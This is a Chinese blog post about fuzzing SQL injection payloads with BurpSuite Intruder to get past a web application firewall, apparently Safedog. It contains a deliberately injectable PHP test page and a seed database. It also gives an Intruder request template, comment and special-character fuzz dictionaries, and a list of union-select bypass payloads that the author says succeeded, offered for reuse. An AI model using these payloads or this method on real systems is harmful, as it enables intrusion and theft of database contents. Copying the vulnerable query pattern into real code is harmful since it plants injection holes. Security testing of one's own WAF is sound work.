Fuzzing---Sql injection bypass with BurpSuite

前言

  • 纵观全网进行各种bypass的很少涉及具体测试过程,大多是直接放出payload。那么很快防护软件就会进行更新策略,有效的payload存活时间很短。
  • 最近也发现一些很nice的作者,会放出fuzz的脚本,这样就是“授之以渔”了,我们应该感谢作者的分享精神。
  • burpsuite是一款神器,很多操作都可以借助它来完成,也是我们做安全研究必备的一款工具。fuzz说白了就是不断地提交、不断地测试,看返回结果来判断payload是否有效,那么我们可以结合burpsuite的intruder模块来进行fuzz,同样可以达到很好的效果。

Fuzzing环境

  • 善于思考的脑子

20166261274990173.jpg
  • phpStudy2017
    image.png
  • 二狗子v4.0
    image.png
  • BurpSuite

Fuzzing过程

先准备一个测试sql注入的脚本

<title>Fuzzing 2dog</title>>
<?php
$link = mysql_connect('localhost', 'root', 'root'); mysql_select_db('security', $link);
 
$sql = 'select * from `users` where `id`='.$_REQUEST['id']; 
echo "执行的SQL语句<br />\n";
echo $sql."<br>\n";
$result =mysql_query($sql);

while($array = mysql_fetch_assoc($result))
    { 
        echo "<br />\n";
        echo "Bypass 2dog success!";
        echo "<br />\n";
        echo "id=".$array['id']."<br />\n";
        echo "username=".$array['username']."<br />\n"; 
        echo "password=".$array['password']."<br />\n";
    }
echo mysql_error();
?>

再来份数据库security

DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (
  `id` int(3) NOT NULL AUTO_INCREMENT,
  `username` varchar(20) NOT NULL,
  `password` varchar(20) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=15 DEFAULT CHARSET=gbk;

# Data for table "users"

INSERT INTO `users` VALUES (1,'Dumb','Dumb'),(2,'Angelina','I-kill-you'),(3,'Dummy','[email protected]'),(4,'secure','crappy'),(5,'stupid','stupidity'),(6,'superman','genious'),(7,'batman','mob!le'),(8,'admin','admin'),(9,'admin1','admin1'),(10,'admin2','admin2'),(11,'admin3','admin3'),(12,'dhakkan','dumbo'),(14,'admin4','admin4');

环境配置好后,访问

1.png

现在测一下二狗子能否正常运作(拦截攻击)
2.png

嗯,很完美的拦截了。现在可以放心的进行fuzz了...
先开代理,burpsuite抓包,进入intruder模块
GET /sqli-labs/Less-1/?id=1/*!union/*/*§a§§b§select*/1,2,3 HTTP/1.1
Host: 192.168.8.14
Proxy-Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: yunsuo_session_verify=0d351ecd28be2363b55de180b78b8dc8; safedog-flow-item=

根据观察以往多种bypass的payload,我们这里测试可以更方便的设置fuzz对象/*!union/*/*<fuzz_1><fuzz_2>select*/1,2,3
现在准备两份payload字典:

  1. 注释
/*
/*/*
*/
/**/
/*/**/
/*!
/*!*/
/*!/*!*/
/*?
/*^
  1. 特殊字符
~
!
?
%
%00
%23
%0a
%0b
%0c
%0d
%0e
%0f
%0g
%0h
%0i
%0j
%0k
%0l
%0m
%0n
%0o
%0p
%0q
%0r
%0s
%0t
%0u
%0v
%0w
%0x
%0y
%0z

Attack type设为Cluster Bomb

3.png

进入Options设置response包匹配关键字 Bypass
4.png

go起来,看看fuzz结果如何
5.png

fuzz的成果显著,但执行敏感函数还是会被二狗子拦截(必须的)
6.png

那就继续fuzz呗,动手吧骚年!
7.png

结语

放出一部分payload给伸手党吧,希望你们能掌握这种方便的fuzz方法,将burpsuite神技发扬光大。

Bypass    `id`=1
true    /*!union/*/*%0i*/select*/1,2,3
true    /*!union/*/*%0j*/select*/1,2,3
true    /*!union/*/*%0m*/select*/1,2,3
true    /*!union/*/*%0x^*/select*/1,2,3
true    /*!union/*/*%0z^*/select*/1,2,3
true    /*!union/*/*%0y^*/select*/1,2,3

另外:

  • 关于块注释/*和内联注释/*!/*/**/这样是等效于/**/的,mysql中/*!/*!*/是等效于/*!*/的
  • 关于内联注释/*!50100*/特别注意50100表示mysql的版本5.01.00或者更高的版本,才有效不报错。也就是说内联注释可以从/*!00000*/到/*!50100*/都可以作为payload
  • 关于fuzz的point多尝试,多看看以往的bypass payload,就能从中找到一些规律,提高fuzz效率
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值